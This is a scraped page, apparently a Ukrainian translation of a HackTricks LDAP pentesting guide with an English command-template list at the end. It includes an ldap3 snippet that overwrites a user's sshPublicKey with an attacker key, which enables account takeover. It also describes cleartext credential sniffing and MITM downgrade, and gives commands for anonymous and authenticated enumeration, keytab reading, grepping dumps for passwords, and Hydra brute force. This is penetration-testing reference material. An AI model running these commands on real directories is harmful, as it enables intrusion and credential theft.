Поділіться своїми хакерськими трюками, надсилайте PR доHackTricksіHackTricks Cloudрепозиторіїв на GitHub.
Використання LDAP (протокол доступу до легкого каталогу) передбачено переважно для пошуку різних сутностей, таких як організації, особи та ресурси, такі як файли та пристрої в мережах, як публічних, так і приватних. Він пропонує спрощений підхід порівняно з його попередником, DAP, за рахунок меншого обсягу коду.
Каталоги LDAP структуровані таким чином, щоб їх можна було розподілити по кількох серверах, при цьому кожен сервер містить репліковану та синхронізовану версію каталогу, яку називають Агентом системи каталогів (DSA). Відповідальність за обробку запитів повністю лежить на сервері LDAP, який може спілкуватися з іншими DSA за необхідності, щоб надати єдину відповідь запитувачеві.
Організація каталогу LDAP нагадує ієрархію дерева, починаючи з кореневого каталогу у верхній частині. Це розгалужується до країн, які поділяються на організації, а потім на організаційні одиниці, що представляють різні відділи або відділи, нарешті досягаючи рівня окремих сутностей, включаючи як людей, так і спільні ресурси, такі як файли та принтери.
Порт за замовчуванням: 389 та 636 (ldaps). Глобальний каталог (LDAP в ActiveDirectory) доступний за замовчуванням на портах 3268 та 3269 для LDAPS.
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
Формат обміну даними LDAP
LDIF (LDAP Data Interchange Format) визначає вміст каталогу як набір записів. Він також може представляти запити на оновлення (Додати, Змінити, Видалити, Перейменувати).
Рядки 5-8 визначають домен першого рівня moneycorp (moneycorp.local)
Рядки 10-16 визначають 2 організаційні одиниці: dev та sales
Рядки 18-26 створюють об'єкт домену та присвоюють атрибути зі значеннями
Записати дані
Зверніть увагу, що якщо ви можете змінювати значення, ви зможете виконувати дуже цікаві дії. Наприклад, уявіть, що ви можете змінити інформацію "sshPublicKey" вашого користувача або будь-якого іншого користувача. Ймовірно, якщо цей атрибут існує, то ssh читає публічні ключі з LDAP. Якщо ви можете змінити публічний ключ користувача, ви зможете увійти як цей користувач навіть якщо аутентифікація за паролем не увімкнена в ssh.
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/>>> importldap3>>> server=ldap3.Server('x.x.x.x',port=636,use_ssl=True)>>> connection=ldap3.Connection(server,'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN','PASSWORD',auto_bind=True)>>> connection.bind()True>>> connection.extend.standard.who_am_i()u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
Підслуховування облікових даних у чистому тексті
Якщо LDAP використовується без SSL, ви можете підслуховувати облікові дані у чистому тексті в мережі.
Також ви можете виконати атаку MITM в мережі між сервером LDAP та клієнтом. Тут ви можете здійснити атаку на зниження рівня так, щоб клієнт використовував облікові дані у чистому тексті для входу.
Якщо використовується SSL, ви можете спробувати виконати MITM, як зазначено вище, але пропонуючи фальшивий сертифікат, якщо користувач його приймає, ви зможете знизити метод аутентифікації та знову побачити облікові дані.
Анонімний доступ
Обхід перевірки TLS SNI
Згідно з цим описом, просто звернувшись до сервера LDAP з довільним доменним ім'ям (наприклад, company.com), він зміг зв'язатися з службою LDAP та видобути інформацію як анонімний користувач:
Анонімні зв'язки LDAP дозволяють неавтентифікованим атакувальникам отримувати інформацію з домену, таку як повний перелік користувачів, груп, комп'ютерів, атрибути облікових записів користувачів та політика паролів домену. Це є устарілою конфігурацією, і починаючи з Windows Server 2003, тільки аутентифікованим користувачам дозволяється ініціювати запити LDAP.
Однак адміністратори можуть потребувати налаштувати певну програму для дозволу анонімних зв'язків та надати більше доступу, ніж передбачалося, тим самим надаючи неавтентифікованим користувачам доступ до всіх об'єктів у AD.
Дійсні облікові дані
Якщо у вас є дійсні облікові дані для входу на сервер LDAP, ви можете витягнути всю інформацію про адміністратора домену за допомогою:
Windapsearch - це сценарій на Python, який корисний для переліку користувачів, груп та комп'ютерів з домену Windows, використовуючи запити LDAP.
# Get computerspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--computers# Get groupspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--groups# Get userspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--da# Get Domain Adminspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--da# Get Privileged Userspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--privileged-users
ldapsearch
Перевірте нульові облікові дані або чи ваші облікові дані є дійсними:
# CREDENTIALS NOT VALID RESPONSEsearch:2result:1Operationserrortext:000004DC:LdapErr:DSID-0C090A4C,comment:Inordertoperformthisoperationasuccessfulbindmustbecompletedontheconnection.,data0,v3839
Якщо ви знаходите щось, що говорить, що "bind must be completed", це означає, що облікові дані невірні.
Щоб перевірити, чи у вас є доступ до будь-якого пароля, ви можете використовувати grep після виконання одного з запитів:
<ldapsearchcmd...>|grep-i-A2-B2"userpas"
pbis
Ви можете завантажити pbis звідси: https://github.com/BeyondTrust/pbis-open/ і зазвичай він встановлюється в /opt/pbis.
Pbis дозволяє легко отримати базову інформацію:
#Read keytab file./klist-k/etc/krb5.keytab#Get known domains info./get-status./lsaget-status#Get basic metrics./get-metrics./lsaget-metrics#Get users./enum-users./lsaenum-users#Get groups./enum-groups./lsaenum-groups#Get all kind of objects./enum-objects./lsaenum-objects#Get groups of a user./list-groups-for-user<username>./lsalist-groups-for-user<username>#Get groups of each user./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group./enum-members--by-name"domain admins"./lsaenum-members--by-name"domain admins"#Get users of each group./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user./adtool-asearch-user--nameCN="*"--keytab=/etc/krb5.keytab-n<Username>|grep"CN"|whilereadline; doecho"$line";./adtool--keytab=/etc/krb5.keytab-n<username>-alookup-object--dn="$line"--attr"description";echo"======================"done
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
https://book.hacktricks.xyz/pentesting/pentesting-ldap
Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f